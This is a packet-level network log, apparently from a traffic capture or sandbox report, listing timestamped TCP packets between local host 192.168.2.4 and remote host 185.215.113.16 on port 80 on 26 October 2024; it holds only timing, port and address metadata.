Oct 26, 2024 05:54:42.001620054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.001625061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.001651049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.001693010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.001699924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.001729012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.001765013 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.001784086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.044923067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.044997931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.045150995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.045181990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.045228958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.081455946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.081511021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.081537962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.081557035 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.123043060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.123080015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.123111963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.123120070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.123168945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.161685944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.161762953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.161813974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.161818027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.161843061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.161875963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.161886930 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.161910057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.161942959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.161957026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.162055016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162086964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162096024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.162120104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162161112 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.162218094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162250996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162285089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162293911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.162405968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162446976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.162524939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162553072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162590981 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.162637949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162667036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162707090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.162715912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162748098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162792921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.162838936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162866116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.162905931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.206330061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.206361055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.206397057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.206409931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.206671953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.206715107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.242949009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.243000984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.243030071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.243061066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.285279036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.285312891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.285346985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.285346985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.285398006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.325114012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325149059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325191021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.325205088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325233936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325279951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.325301886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325335026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325362921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325380087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325397015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325428009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325449944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.325464964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325494051 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.325496912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325531006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325539112 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.325565100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325598001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325603008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.325627089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325659990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325679064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.325696945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325726032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325736046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.325758934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.325798988 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.325804949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.368227005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.368283033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.368355036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.368386984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.368431091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.404340982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.404386044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.404463053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.404468060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.445679903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.445755005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.445771933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.445808887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.445837975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.445856094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.484294891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484332085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484349012 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.484426975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484461069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484464884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.484494925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484534025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.484544039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484577894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484611988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484616995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.484646082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484680891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484683037 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.484767914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484800100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484807968 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.484832048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.484868050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.485028982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.485058069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.485094070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.485121012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.485187054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.485215902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.485227108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.485352993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.485380888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.485397100 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.528877974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.528918982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.528923035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.528958082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.529001951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.565629959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.565669060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.565702915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.565736055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.565736055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.565788031 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.607042074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.607125044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.607158899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.607208014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.645699978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.645745039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.645802975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.645837069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.645864964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.645898104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.645931959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.645956039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.645965099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646001101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646035910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646085978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646111965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.646111965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.646111965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.646120071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646132946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.646153927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646210909 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.646379948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646414042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646445990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646543980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.646555901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646620989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646625042 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.646656036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646688938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.646728039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.690080881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.690114975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.690208912 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.690216064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.690260887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.690542936 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.726871014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.726902008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.726953983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.726989985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.727063894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.768363953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.768399954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.768424988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.768434048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.768583059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.807045937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807092905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807116032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807149887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.807172060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807195902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807255983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.807264090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807286978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807349920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807357073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.807372093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807394981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807403088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.807467937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.807497978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807519913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807555914 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.807790995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807843924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807862997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.807926893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.808007956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.808073044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.808094025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.808094978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.808140039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.851516962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.851670980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.851702929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.851741076 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.888300896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.888355017 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.888372898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.888422966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.888458014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.888497114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.927865028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.929563999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.929627895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.929678917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.929688931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.929709911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.929820061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.968169928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968200922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968210936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968292952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968302965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968311071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.968389988 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.968430042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968439102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968482018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968486071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.968525887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.968533993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968544960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968594074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.968609095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968867064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968924999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968933105 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.968935966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968987942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.968997955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.969033957 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.969033957 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:42.969255924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.969297886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.969307899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:42.969352961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.012665033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.012676001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.012712955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.012720108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.012758017 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.012758017 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.049670935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.049734116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.049741983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.049818039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.091732979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.091753960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.091769934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.091836929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.091836929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.129431963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.129475117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.129489899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.129504919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.129556894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.129556894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.129585981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.129607916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.129663944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.129811049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.129827023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.129846096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.129900932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.129920959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.129961967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.129978895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.130009890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.130009890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.130208015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.130275011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.130291939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.130315065 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.130460024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.130485058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.130544901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.130609035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.130683899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.130697966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.130728006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.130728006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.174709082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.174719095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.174731970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.174736977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.174922943 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.211203098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.211221933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.211236954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.211251020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.211303949 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.211303949 CEST	49742	80	192.168.2.4	185.215.113.16
